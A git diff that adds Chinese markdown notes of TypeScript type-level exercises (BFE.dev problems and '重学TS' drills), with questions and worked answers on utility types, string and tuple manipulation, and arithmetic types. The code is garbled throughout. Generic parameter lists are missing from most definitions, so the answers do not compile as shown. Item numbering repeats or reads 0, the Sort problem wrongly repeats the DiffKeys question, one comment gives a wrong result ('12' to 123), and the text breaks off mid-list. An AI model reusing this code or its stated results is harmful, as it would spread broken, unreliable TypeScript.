命名空间namespace + +命名空间在TypeScript早期时,称之为内部模块,主要目的是将一个模块内部再进行作用域的划分,防止一些命名 冲突的问题。 + +![image-20220411214531141](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202204112145215.png) diff --git "a/src/TypeScript/\343\200\214\351\207\215\345\255\246TS 2.0 \343\200\215TS \347\273\203\344\271\240\351\242\2301-10.md" "b/src/TypeScript/\343\200\214\351\207\215\345\255\246TS 2.0 \343\200\215TS \347\273\203\344\271\240\351\242\2301-10.md" new file mode 100644 index 00000000..d148b830 --- /dev/null +++ "b/src/TypeScript/\343\200\214\351\207\215\345\255\246TS 2.0 \343\200\215TS \347\273\203\344\271\240\351\242\2301-10.md" @@ -0,0 +1,275 @@ +--- +date: 2022-03-19 +category: +- 练习题 +- 前端 +- TypeScript +--- + +# 「重学TS 2.0 」TS 练习题1-10 + +### 第一题 + +```typescript +type User = { + id: number; + kind: string; +}; + +function makeCustomer(u: T): T { + // Error(TS 编译器版本:v4.4.2) + // Type '{ id: number; kind: string; }' is not assignable to type 'T'. + // '{ id: number; kind: string; }' is assignable to the constraint of type 'T', + // but 'T' could be instantiated with a different subtype of constraint 'User'. + return { + id: u.id, + kind: 'customer' + } +} +``` + +**Answer** + +```typescript +type User = { + id: number; + kind: string; +}; + +function makeCustomer(u: T): T { + // Error(TS 编译器版本:v4.4.2) + // Type '{ id: number; kind: string; }' is not assignable to type 'T'. + // '{ id: number; kind: string; }' is assignable to the constraint of type 'T', + // but 'T' could be instantiated with a different subtype of constraint 'User'. + return { + id: u.id, + kind: 'customer' + } +} +回答:T 类型兼容 User类型, +第一种回答: +function makeCustomer(u: T): T { + // Error(TS 编译器版本:v4.4.2) + // Type '{ id: number; kind: string; }' is not assignable to type 'T'. + // '{ id: number; kind: string; }' is assignable to the constraint of type 'T', + // but 'T' could be instantiated with a different subtype of constraint 'User'. + return { + ...u, + id: u.id, + kind: 'customer', + }; +} +第二种返回值限制为User 类型的 +function makeCustomer(u: T): ReturnMake { + // Error(TS 编译器版本:v4.4.2) + // Type '{ id: number; kind: string; }' is not assignable to type 'T'. + // '{ id: number; kind: string; }' is assignable to the constraint of type 'T', + // but 'T' could be instantiated with a different subtype of constraint 'User'. + return { + id: u.id, + kind: 'customer', + }; +} + +type ReturnMake = { + [K in keyof U as K extends keyof T ? K : never]: U[K]; +}; +``` + +### 第二题 + +本道题我们希望参数 `a` 和 `b` 的类型都是一致的,即 `a` 和 `b` 同时为 `number` 或 `string` 类型。当它们的类型不一致的值,TS 类型检查器能自动提示对应的错误信息。 + +```ts +function f(a: string | number, b: string | number) { + if (typeof a === 'string') { + return a + ':' + b; // no error but b can be number! + } else { + return a + b; // error as b can be number | string + } +} + +f(2, 3); // Ok +f(1, 'a'); // Error +f('a', 2); // Error +f('a', 'b') // Ok +``` + +**Answer** + +```ts +function f(a: T, b: T) { + if (typeof a === 'string') { + return a + ':' + b; // no error but b can be number! + } else { + return (a as number) + (b as number); // error as b can be number | string + } +} + +f(2, 3); // Ok +f(1, 'a'); // Error +f('a', 2); // Error +f(2, 2) // Ok +``` + +### 第三题 + +在 [掌握 TS 这些工具类型,让你开发事半功倍](https://mp.weixin.qq.com/s?__biz=MzI2MjcxNTQ0Nw==&mid=2247484142&idx=1&sn=946ba90d10e2625513f09e60a462b3a7&chksm=ea47a3b6dd302aa05af716d0bd70d8d7c682c9f4527a9a0c03cd107635711c394ab155127f9e&scene=21#wechat_redirect) 这篇文章中,阿宝哥介绍了 TS 内置的工具类型:`Partial`,它的作用是将某个类型里的属性全部变为可选项 `?`。 + +```ts +interface Todo { + title: string; + description: string; +} + +function updateTodo(todo: Todo, fieldsToUpdate: Partial) { + return { ...todo, ...fieldsToUpdate }; +} + +// lib.es5.d.ts +type Partial = { + [P in keyof T]?: T[P]; +}; +``` + +那么如何定义一个 `SetOptional` 工具类型,支持把给定的 keys 对应的属性变成可选的?对应的使用示例如下所示: + +```ts +type Foo = { + a: number; + b?: string; + c: boolean; +} + +// 测试用例 +type SomeOptional = SetOptional; + +// type SomeOptional = { +// a?: number; // 该属性已变成可选的 +// b?: string; // 保持不变 +// c: boolean; +// } +``` + +在实现 `SetOptional` 工具类型之后,如果你感兴趣,可以继续实现 `SetRequired` 工具类型,利用它可以把指定的 keys 对应的属性变成必填的。对应的使用示例如下所示: + +```ts +type Foo = { + a?: number; + b: string; + c?: boolean; +} + +// 测试用例 +type SomeRequired = SetRequired; +// type SomeRequired = { +// a?: number; +// b: string; // 保持不变 +// c: boolean; // 该属性已变成必填 +// } +``` + +**Answer** + +3.1 SetOptional + +```ts +type Foo = { + a: number; + b?: string; + c: boolean; +} + +type Simplify = { + [P in keyof T]: T[P] +} + +type SetOptional = + Simplify> & Pick>> + +// 测试用例 +type SomeOptional = SetOptional; +// type SomeOptional = { +// a?: number; // 该属性已变成可选的 +// b?: string; // 保持不变 +// c: boolean; +// } +``` + +在以上代码中,我们定义了一个 `Simplify` 工具类型,用来对交叉类型进行扁平化处理。具体的作用,你们可以实际体验一下。 + +3.2 SetRequired + +```ts +type Foo = { + a?: number; + b: string; + c?: boolean; +} + +type Simplify = { + [P in keyof T]: T[P] +} + +type SetRequired = Simplify> & Required>> + +// 测试用例 +type SomeRequired = SetRequired; +// type SomeRequired = { +// a?: number; +// b: string; // 保持不变 +// c: boolean; // 该属性已变成必填 +// } +``` + +### 第四题 + +`Pick` 的作用是将某个类型中的子属性挑出来,变成包含这个类型部分属性的子类型。 + +```ts +interface Todo { + title: string; + description: string; + completed: boolean; +} + +type TodoPreview = Pick; + +const todo: TodoPreview = { + title: "Clean room", + completed: false +}; +``` + +那么如何定义一个 `ConditionalPick` 工具类型,支持根据指定的 `Condition` 条件来生成新的类型,对应的使用示例如下: + +```ts +interface Example { + a: string; + b: string | number; + c: () => void; + d: {}; +} + +// 测试用例: +type StringKeysOnly = ConditionalPick; +//=> {a: string} +``` + +**Answer** + +```ts +interface Example { + a: string; + e: number; + b: string | number; + c: () => void; + d: {}; + f: string | number | boolean; +} +type ConditionalPick = { + [K in keyof V as V[K] extends T ? K : never]: V[K]; +}; +type StringKeysOnly = ConditionalPick; +``` + diff --git "a/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 41- 50.md" "b/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 41- 50.md" new file mode 100644 index 00000000..209703a9 --- /dev/null +++ "b/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 41- 50.md" @@ -0,0 +1,221 @@ +--- +date: 2022-12-08 +category: +- TypeScript +--- + +# BFE-TS TypeScript类型体操练习 41- 50 + +题目来自[TypeScript题目 | BFE.dev - 前端刷题,准备前端面试拿到心仪的Offer](https://bigfrontend.dev/zh/typescript),总共60题,带你完爆类型体操! + +## 常用工具类型 41-44 + +41. **实现 LengthOfString\** + + 实现`LengthOfString`用以返回字符串长度。 + + ```ts + type A = LengthOfString<'BFE.dev'> // 7 + type B = LengthOfString<''> // 0 + ``` + + **答案:** + + 1. 转为元组后直接访问泛型的.length属性 + + ```ts + type StringToTuple = T extends `${infer L}${infer R}` ? [L, ...StringToTuple] : []; + type LengthOfString = StringToTuple['length']; + ``` + + 0. 辅助数组统计长度 + + ```ts + type LengthOfString< +  T extends string, +  U extends 0[] = [] + > = T extends `${infer A}${infer B}` +  ? LengthOfString + : U["length"]; + ``` + +16. **实现 LengthOfTuple\** + + 实现`LengthOfTuple`返回tuple type的长度。 + + ```ts + type A = LengthOfTuple<['B', 'F', 'E']> // 3 + type B = LengthOfTuple<[]> // 0 + ``` + + **答案:** + + 直接访问泛型的.length属性 + + ```ts + type LengthOfTuple = T["length"] + ``` + +16. **实现 StringToTuple\** + + 实现`StringToTuple`将字符串拆散为tuple,类似`String.prototype.split('')`效果 + + ```ts + type A = StringToTuple<'BFE.dev'> // ['B', 'F', 'E', '.', 'd', 'e','v'] + type B = StringToTuple<''> // [] + ``` + + **答案:** + + ```ts + type StringToTuple = T extends `${infer A}${infer B}` ? [A, ...StringToTuple] : [] + ``` + +16. **实现 LastItem\** + + `FirstItem`类似,请实现`LastItem`用以返回tuple的最后一个type + + ```ts + type A = LastItem<[string, number, boolean]> // boolean + type B = LastItem<['B', 'F', 'E']> // 'E' + type C = LastItem<[]> // never + ``` + + **答案:** + + ```ts + type LastItem = T extends [...infer Firsts, infer Last] ? Last : never + ``` + + 相类似的 + + ```ts + type LastItem = T extends [...any[], infer M] ? M : never; + ``` + + +## 有挑战性的题目 45-50 + +45. **实现UndefinedToNull\** + + 根据题 [176. undefined to null](https://bigfrontend.dev/problem/undefined-to-null),实现`UndefinedToNull`,将对象、元组or传入泛型的undefined转置为null + + ```ts + type A = UndefinedToNull    // string + type B = UndefinedToNull // null + type C = UndefinedToNull<[undefined, null]> // [null, null] + type D = UndefinedToNull<{ +  a: undefined, +  b: [1, undefined] + }> // {a: null, b: [1, null]} + ``` + + **答案:** + + ```ts + type UndefinedToNull = T extends Record ? { + [K in keyof T]: UndefinedToNull + } : (T extends [infer A, ...infer B] ? [A, ...UndefinedToNull] : T extends undefined ? null : T) + ``` + +46. **实现MapStringUnionToObjectUnion\** + + 将字符串联合映射到联合对象类型,如下所示。 + + ```ts + type A = MapStringUnionToObjectUnion<'1'> + // { + //   value: '1' + // } + ​ + type B = MapStringUnionToObjectUnion<'1' | '2'> + // { + //   value: '1' + // } | + // { + //   value: '2 + // } + ``` + + **答案:** + + ```ts + type MapStringUnionToObjectUnion = { [k in U]: { value: k } }[U] + ``` + + +47. **实现Diff** + + 找不同,即A,B中只存在一边的keys + + ```ts + type A = DiffKeys<{a: 1, b: 2}, {b: 1, c: 2}> // 'a' | 'c' + ``` + + **答案:** + + ```ts + type DiffKeys< +  A extends Record, +  B extends Record + > = Exclude | Exclude + ``` + +48. **实现ObjectPaths\** + + `ObjectPaths`,能够返回属性的所有有效路径 + + ```ts + type Obj = { +  a: { +    b: { +      c: 1, +      d: 2 +   }, +    e: 1 + }, +  f: 3 + } + ​ + type A = ObjectPaths + // 'a.b.c' | 'a.b.d' | 'a.e' | 'f' + ``` + + **答案:** + + ```ts + type ObjectPaths> = { + [K in keyof O]: K extends string +                  ? O[K] extends Record ? `${K}.${ObjectPaths}` : `${K}` +                 : never + }[keyof O]; + ``` + +49. **实现StringToNumber\** + + 将字符串转换为数字,假设字符串都是有效的非负整数 + + ```ts + type A = StringToNumber<'12'> // 123 + ``` + + **答案:** + + ```ts + type StringToNumber = +  `${T['length']}` extends S ? T['length'] : StringToNumber + ``` + +50. **实现Abs\** + + 获取数字的绝对值,假设数字都是整数 + + **答案:** + + ```ts + type StringToNumber = +  `${T['length']}` extends S ? T['length'] : StringToNumber + ​ + type Abs = +  `${N}` extends `-${infer A}` ? Abs> : StringToNumber<`${N}`> + ``` diff --git "a/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 51- 60.md" "b/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 51- 60.md" new file mode 100644 index 00000000..e862a64e --- /dev/null +++ "b/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 51- 60.md" @@ -0,0 +1,304 @@ +--- +date: 2022-12-08 +category: +- TypeScript +--- + +# BFE-TS TypeScript类型体操练习 51- 60 + +题目来自[TypeScript题目 | BFE.dev - 前端刷题,准备前端面试拿到心仪的Offer](https://bigfrontend.dev/zh/typescript),总共60题,带你完爆类型体操! + +## 有挑战性的题目 51-60 + +51. **实现CamelCase\** + + 将下划线连接转为驼峰(snake case to camel case) + + ```ts + type A = CamelCase<'big_front_end'> // BigFrontEnd + ``` + + **答案:** + + ```typescript + type CamelCase = + S extends `${infer L}_${infer R}` + ? CamelCase<`${Capitalize}${Capitalize}`> + : Capitalize + ``` + + > `Capitalize` 为4.1新增关键字[TypeScript 4.1 新特性之字符串模板类型 - boygdm - 博客园](https://www.cnblogs.com/boyGdm/p/14489060.html) + +52. **实现SnakeCase\** + + 经典的大驼峰转下划线连接(camel case to snake case),注意首字母转小写 + + ```ts + type A = SnakeCase<'BigFrontEnd'> // big_front_end + ``` + + **答案:** + + 即分为大小写判定和添加前缀,然后组合成新的字符串,O(n)解法: + + ```typescript + type isUpperCase = T extends '' ? false : (Uppercase extends T ? true : false); + + type Prefix = Skip extends false ? (isUpperCase extends true ? `_${Lowercase}` : T) : Lowercase; + + type SnakeCase = T extends `${infer A}${infer B}` ? ( + `${Prefix}${SnakeCase}` + ) : T + ``` + + +53. **实现Split** + + 即实现类`String.prototype.split()`的功能 + + ```ts + type A = Split<'BFE.dev', '.'> // ['BFE', 'dev'] + type B = Split<'bfe.dev', 'e'> // ['bf', '.d', 'v'] + type C = Split<'bfe.bfe.bfe', 'bfe'> // ['', '.', '.', ''] + ``` + + **答案:** + + ```typescript + type Split< + S extends string, + D extends string, + ResultType extends string[] = [], + > = S extends `${infer F}${D}${infer Rest}` + ? Split + : [...ResultType, S]; + ``` + + 这与`StringToTuple`有点相似,参考: + + ```ts + type StringToTuple = T extends `${infer A}${infer B}` ? [A, ...StringToTuple] : [] + ``` + + +54. **实现Capitalize\** + + 实现字符串首字母大写,实际上TS已经内置了该工具类型,请尝试自己实现 + + ```ts + type A = MyCapitalize<'bfe'> // 'Bfe' + ``` + + **答案:** + + ```typescript + type MyCapitalize = T extends `${infer P}${infer U}` ? `${Uppercase

    }${U}` : T; + ``` + + +55. **实现Sort\** + + 升序排序。如果能够比较 `LargerThan` 和 `SmallerThan` 中的两个非负整数,那么你应该能够实现升序排序。 + + ```ts + type A = Sort<[100, 9, 20, 0, 0 55]> + // [0, 0, 9, 55, 100] + ``` + 找不同,即A,B中只存在一边的keys + + ```ts + type A = DiffKeys<{a: 1, b: 2}, {b: 1, c: 2}> // 'a' | 'c' + ``` + + **答案:** + + ```typescript + type DiffKeys< + A extends Record, + B extends Record + > = Exclude | Exclude + ``` + +56. **asserts never** + + 在`switch`,我们很容易犯一些错误,比如, + + ```ts + type Value = 'a' | 'b' | 'c'; + declare let value: Value + + switch (value) { + case 'a': + break; + case 'b': + break; + default: + break; + } + ``` + + 我们遗忘了case `c`,但是编辑器没有给予提示 + + 所以,请实现函数`assertsNever()`去检查以保证没有遗漏的case + + ```ts + type Value = 'a' | 'b' | 'c'; + declare let value: Value + + switch (value) { + case 'a': + break; + case 'b': + break; + default: + assertsNever(value) + break; + } + ``` + + 此时TypeScript会警告你缺失了case `c` + + **答案:** + + 可以通过的答案,但可能不太合适? + + ```typescript + function assertsNever (arg:never) { + throw new TypeError(`Missing case ${arg}`) + }; + ``` + +57. **实现Divide** + + 即计算A/B,保留整数结果,注意对0的处理 + + ```ts + type A = Divide<1, 0> // never + type B = Divide<4, 2> // 2 + type C = Divide<10, 3> // 3 + ``` + + **答案:** + + 可以理解为模拟计算,例如10/3,逐个减去3,计算可以减掉多少个3,直到剩下1,无法在被3减去,输出之前所减去的3的个数 + + ```typescript + type Tuple = + U['length'] extends T ? U : Tuple + + type Subtract< + A extends number, + B extends number + > = Tuple extends [...Tuple, ...infer R] ? R['length'] : never + + type SmallerThan< + A extends number, + B extends number, + S extends number[] = [] + > = S['length'] extends B + ? false + : S['length'] extends A + ? true + : SmallerThan + type Divide = + B extends 0 ? never : SmallerThan extends true ? S['length'] : Divide, B, [...S, any]>; + ``` + + +58. **实现Multiply** + + 即A\*B的计算,其中A,B均为非负整数 + + ```ts + type A = Multiply<1, 0> // 0 + type B = Multiply<4, 6> // 24 + ``` + + **答案:** + + ```ts + type Tuple = + U['length'] extends T ? U : Tuple + + type MinusOne = + Tuple extends [any, ...infer R] ? R['length'] : 0 + + type MultiplyHelper = + U extends 0 ? I['length'] : MultiplyHelper, [...T, ...I]> + + type Multiply = MultiplyHelper, B> + ``` + +59. **实现Subtract** + + 只需要考虑正整数,并且 B 保证小于或等于 A + + ```ts + type A = Subtract<1, 1> // 0 + type B = Subtract<10, 3> // 7 + type C = Subtract<3, 10> // never + ``` + + **答案:** + + ```ts + type _P = S extends 1 ? ( + // 1代表start已经相等了,在寻找end + T['length'] extends B ? [...C, 1]['length'] : _P + ) : ( + T['length'] extends B ? never : + // 先和2位匹配到为never + ( + _P + // 和第一位匹配到 + ) + ) + + type Subtract = A extends B ? 0 : _P + ``` + +60. **实现Slice** + + 即实现类似`Array.prototype.slice()` + + ```ts + type A = Slice<[1,2,3,4], 0, 2> // [1, 2] + type B = Slice<[1,2,3,4], 2> // [3, 4] + type C = Slice<[number, boolean, bigint], 2, 5> // [bigint] + type D = Slice<[string, boolean], 0, 1> // [string] + type E = Slice<[number, boolean, bigint], 5, 6> // [] + ``` + + 其中`E`不为负数 + + **答案:** + + ```ts + // 截取L之后的元素,包括L + type RemoveStart< + A extends any[], + L extends number, + ResultType extends any[] = [] + > = ResultType['length'] extends L ? A : ( + A extends [infer First, ...infer Rest] ? ( + RemoveStart + ) : [] + ); + + // 截取L之前的元素,不包括L + type RemoveEnd< + A extends any[], + L extends number, + ResultType extends any[] = [] + > = ResultType['length'] extends L ? ResultType : ( + A extends [infer First, ...infer Rest] ? ( + RemoveEnd + ) : [...ResultType, ...A] + ); + + type Slice< + A extends any[], + S extends number = 0, + E extends number = A['length'], + > = RemoveStart, S>; + ``` diff --git "a/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 Easy 1-10.md" "b/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 Easy 1-10.md" new file mode 100644 index 00000000..fb8a669e --- /dev/null +++ "b/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 Easy 1-10.md" @@ -0,0 +1,251 @@ +--- +date: 2022-12-04 +category: +- TypeScript +--- + +# BFE-TS TypeScript类型体操练习 Easy 1-10 + +题目来自[TypeScript题目 | BFE.dev - 前端刷题,准备前端面试拿到心仪的Offer](https://bigfrontend.dev/zh/typescript),总共60题,带你完爆类型体操! + +## Utility types 内置工具类型实现 + +1. **实现Partial** + + `Partial`返回一个包含所有`T`的子集的type。 + + ```ts + type Foo = { +  a: string +  b: number +  c: boolean + } + ​ + // below are all valid + ​ + const a: MyPartial = {} + ​ + const b: MyPartial = { +  a: 'BFE.dev' + } + ​ + const c: MyPartial = { +  b: 123 + } + ​ + const d: MyPartial = { +  b: 123, +  c: true + } + ​ + const e: MyPartial = { +  a: 'BFE.dev', +  b: 123, +  c: true + } + ``` + + **答案:** + + ```ts + type Partial = { +   [P in keyof T]?: T[P]; + }; + ``` + +0. **实现Required** + + 和`Partial`正好相反, `Required`会将所有的属性设为required。 + + ```ts + // all properties are optional + type Foo = { +  a?: string +  b?: number +  c?: boolean + } + ​ + ​ + const a: MyRequired = {} + // Error + ​ + const b: MyRequired = { +  a: 'BFE.dev' + } + // Error + ​ + const c: MyRequired = { +  b: 123 + } + // Error + ​ + const d: MyRequired = { +  b: 123, +  c: true + } + // Error + ​ + const e: MyRequired = { +  a: 'BFE.dev', +  b: 123, +  c: true + } + // valid + ``` + + **答案:** + + ```ts + type Required = { +   [P in keyof T]-?: T[P]; + }; + ``` + +0. **实现Readonly** + + **答案:** + + ```ts + type Readonly = { +    readonly [P in keyof T]: T[P]; + }; + ``` + +0. **实现Record** + + `Record`返回一个key是K值是V的object type。 + + ```ts + type Key = 'a' | 'b' | 'c' + ​ + const a: Record = { +  a: 'BFE.dev', +  b: 'BFE.dev', +  c: 'BFE.dev' + } + a.a = 'bigfrontend.dev' // OK + a.b = 123 // Error + a.d = 'BFE.dev' // Error + ​ + type Foo = MyRecord<{a: string}, string> // Error + ``` + + **答案:** + + ```ts + type Record = { +   [P in K]: T; + }; + ``` + +0. **实现Pick** + + `Pick`,正如其名所示,将从T中抽选出K中含有的属性然后返回一个新的type。 + + ```ts + type Foo = { +  a: string +  b: number +  c: boolean + } + ​ + type A = MyPick // {a: string, b: number} + type B = MyPick // {c: boolean} + type C = MyPick // Error + ``` + + **答案:** + + ```ts + type Pick = { +   [P in K]: T[P]; + }; + ``` + +0. **实现Omit** + + `Omit`返回一个从T的属性中剔除掉K过后的type。 + + ```ts + type Foo = { +  a: string +  b: number +  c: boolean + } + ​ + type A = MyOmit // {c: boolean} + type B = MyOmit // {a: string, b: number} + type C = MyOmit // {a: string, b: number} + ``` + + **答案:** + + ```ts + type Omit = Pick>; + ``` + +0. **实现Exclude** + + `Exclude`返回一个从T中去掉能代入K的成员后的type。 + + ```ts + type Foo = 'a' | 'b' | 'c' + ​ + type A = MyExclude // 'b' | 'c' + type B = MyExclude // 'a' | 'b + type C = MyExclude  // 'a' | 'b' + type D = MyExclude  // never + ``` + + **答案:** + + ```ts + type Exclude = T extends U ? never : T; + ``` + +0. **实现Extract** + + 和Exclude正好相反, `Extract`返回T中可以代入到U的成员所组成的type。 + + ```ts + type Foo = 'a' | 'b' | 'c' + ​ + type A = MyExtract // 'a' + type B = MyExtract // 'a' | 'b' + type C = MyExtract  // 'b' | 'c' + type D = MyExtract  // never + ``` + + **答案:** + + ```ts + type Extract = T extends U ? T : never; + ``` + +0. **实现NonNullable** + + 剔除 null | undefined 类型,表明非空 + + **答案:** + + ```ts + type NonNullable = T extends null | undefined ? never : T; + ``` + +0. **实现Parameters** + + 对于function type T, `Parameters` 返回一个由其参数type组成的tuple type。 + + ```ts + type Foo = (a: string, b: number, c: boolean) => string + ​ + type A = MyParameters // [a:string, b: number, c:boolean] + type B = A[0] // string + type C = MyParameters<{a: string}> // Error + ``` + + **答案:** + + ```ts + type Parameters any> = T extends (...args: infer P) => any ? P : never; + ``` diff --git "a/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 Easy 11-20.md" "b/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 Easy 11-20.md" new file mode 100644 index 00000000..7f7b5e1c --- /dev/null +++ "b/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 Easy 11-20.md" @@ -0,0 +1,200 @@ +--- +date: 2022-12-05 +category: +- TypeScript +--- + +# BFE-TS TypeScript类型体操练习 Easy 11-20 + +题目来自[TypeScript题目 | BFE.dev - 前端刷题,准备前端面试拿到心仪的Offer](https://bigfrontend.dev/zh/typescript),总共60题,带你完爆类型体操! + +## Utility types 内置工具类型实现 11-15 + +11. **实现 ConstructorParameters\** + + Parameters处理的是function type。 与之类似,`ConstructorParameters`针对的是class,返回constructor function T的其参数type组成的tuple type。 + + ```ts + class Foo { + constructor (a: string, b: number, c: boolean) {} + } + + type C = MyConstructorParameters + // [a: string, b: number, c: boolean] + ``` + + **答案:** + + ```ts + type ConstructorParameters any> = T extends new (...args: infer P) => any ? P : never; + ``` + +12. **实现ReturnType\** + + `Parameters`处理的是参数, `ReturnType`,正如起名所述,处理的是function type T的返回值type + + ```ts + type Foo = () => {a: string} + + type A = MyReturnType // {a: string} + ``` + + 通过 infer 推断函数返回值 + + **答案:** + + ```ts + type ReturnType any> = T extends (...args: any) => infer R ? R : any; + ``` + +13. **实现InstanceType\** + + 对于constructor function type T,`InstanceType` 返回其instance type。 + + ```ts + class Foo {} + type A = MyInstanceType // Foo + type B = MyInstanceType<() => string> // Error + ``` + + 通过 infer 推断 new 后返回的类型 + + **答案:** + + ```ts + type InstanceType any> = T extends new (...args: any) => infer R ? R : any; + ``` + +14. **实现ThisParameterType\** + + 对于function type T,`ThisParameterType`返回`this` type。 如果没有指定,则使用`unknown`。 + + ```ts + function Foo(this: {a: string}) {} + function Bar() {} + + type A = MyThisParameterType // {a: string} + type B = MyThisParameterType // unknown + ``` + + 通过 infer 推断函数的 this 类型 + + **答案:** + + ```ts + type ThisParameterType = T extends (this: infer U, ...args: any[]) => any ? U : unknown; + ``` + +15. **实现OmitThisParameter\** + + `Function.prototype.bind()`返回一个`this`已经bind过后的function。 对于这种情况,可以用`OmitThisParameter`来增加type信息。 + + ```ts + function foo(this: {a: string}) {} + foo() // Error + + const bar = foo.bind({a: 'BFE.dev'}) + bar() // OK + + + type Foo = (this: {a: string}) => string + type Bar = MyOmitThisParameter // () => string + ``` + + 因推断时自动忽略函数的 this 类型,因此直接通过推断后的参数类型和返回值类型包装成个函数返回即可 + + **答案:** + + ```ts + type OmitThisParameter = unknown extends ThisParameterType ? T : T extends (...args: infer A) => infer R ? (...args: A) => R : T; + ``` + +## 16-20 常用工具类型 + +16. **实现FirstChar\** + + ```ts + type A = FirstChar<'BFE'> // 'B' + type B = FirstChar<'dev'> // 'd' + type C = FirstChar<''> // never + ``` + + **答案:** + + `TS`支持字符串使用`infer`推断,语法和模板字符串相似,因此使用`infer`即可完成。 + + ```ts + type FirstChar = T extends `${infer T}${any}` ? T : never + ``` + +17. **实现LastChar\** + + 类似于`FirstChar`,实现`LastChar`。 + + ```ts + type A = LastChar<'BFE'> // 'E' + type B = LastChar<'dev'> // 'v' + type C = LastChar<''> // never + ``` + + **答案:** + + 同样使用`infer`推断字符串中的类型。 + + ```ts + type LastChar = T extends `${infer F}${infer R}` + ? R extends '' + ? F + : LastChar + : never + ``` + +18. **实现 TupleToUnion\** + + 给定一个元组类型,实现 `TupleToUnion `以从中获取联合类型。 + + ```ts + type Foo = [string, number, boolean] + + type Bar = TupleToUnion // string | number | boolean + ``` + + **答案:** + + 这题考察的是索引访问类型`Indexed Access Types` + + ```ts + type TupleToUnion = T[number] + ``` + +19. **实现 FirstItem\** + + 和 `FirstChar`类似,请实现`FirstItem`来返回tuple type的第一个type。 + + ```ts + type A = FirstItem<[string, number, boolean]> // string + type B = FirstItem<['B', 'F', 'E']> // 'B' + ``` + + **答案:** + + ```typescript + type FirstItem = T extends [infer P, ...infer R] ? P : never + ``` + +20. **实现 IsNever\** + + 请实现`IsNever`用以判断T是否是never。 + + ```ts + type A = IsNever // true + type B = IsNever // false + type C = IsNever // false + ``` + + **答案:** + + ```typescript + type IsNever = [T] extends [never] ? true : false; + ``` + diff --git "a/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 Easy 21-30.md" "b/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 Easy 21-30.md" new file mode 100644 index 00000000..4b5c16e5 --- /dev/null +++ "b/src/TypeScript/\344\275\223\346\223\215\347\273\203\344\271\240/BFE-TS TypeScript\347\261\273\345\236\213\344\275\223\346\223\215\347\273\203\344\271\240 Easy 21-30.md" @@ -0,0 +1,225 @@ +--- +date: 2022-12-06 +category: +- TypeScript +--- + +# BFE-TS TypeScript类型体操练习 Easy 21-30 + +## 常用工具类型 + +21. **实现 ReplaceAll** + + 正如`String.prototype.replaceAll()`,请实现`ReplaceAll`。 + + ```ts + type A = ReplaceAll<'aba', 'b', ''> // 'aa' + type B = ReplaceAll<'ababbab', 'b', ''> // 'aaa' + ``` + + **答案:** + + 1、前、中、后分别取一下infer。 + + 2、 判断F不为空 + + ```ts + type ReplaceAll< + S extends string, + F extends string, + T extends string + > = F extends '' ? S : (S extends `${F}${infer R}` ? `${T}${ReplaceAll}` : + (S extends `${infer A}${F}${infer B}` ? `${A}${T}${ReplaceAll}` : + S extends `${infer A}${F}` ? `${ReplaceAll}${T}` : S + )); + ``` + +17. **实现 Trim\** + 正如`String.prototype.trim()`,请实现`Trim`。 + + ```ts + type A = Trim<' BFE.dev'> // 'BFE' + type B = Trim<' BFE. dev '> // 'BFE. dev' + type C = Trim<' BFE . dev '> // 'BFE . dev' + ``` + + **答案:** + + ```typescript + type Trim = T extends ` ${infer R}` + ? Trim + : T extends `${infer L} ` + ? Trim + : T + ``` + +18. **实现 Equal** + 检测俩类型是完全相同的 + + ```ts + Equal // true + Equal // false + Equal // true + Equal<'BFE', 'BFE'> // true + Equal<'BFE', string> // false + Equal<1 | 2, 2 | 1> // true + Equal<{a : number}, {a: number}> // true + ``` + + **答案:** + + ```typescript + type Equal = [T] extends [K] ? [K] extends [T] ? (keyof T extends keyof K ? keyof K extends keyof T ? true : false : false) : false : false; + + // or + + type Equals = + (() => T extends X ? 1 : 2) extends + (() => T extends Y ? 1 : 2) ? true : false; + ``` + +19. **实现 FindIndex** + 正如`Array.prototype.findIndex()`, 请实现`FindIndex`。 + + ```ts + type A = [any, never, 1, '2', true] + type B = FindIndex // 2 + type C = FindIndex // never + ``` + + **答案:** + + ```typescript + type Equals = + (() => T extends X ? 1 : 2) extends + (() => T extends Y ? 1 : 2) ? true : false; + + type FindIndex = + T extends [...infer Rest, infer EE] + ? Equals extends true + ? FindIndex extends never + ? Rest["length"] + : FindIndex + : FindIndex + : never; + ``` + +20. **实现 UnionToIntersection\** + 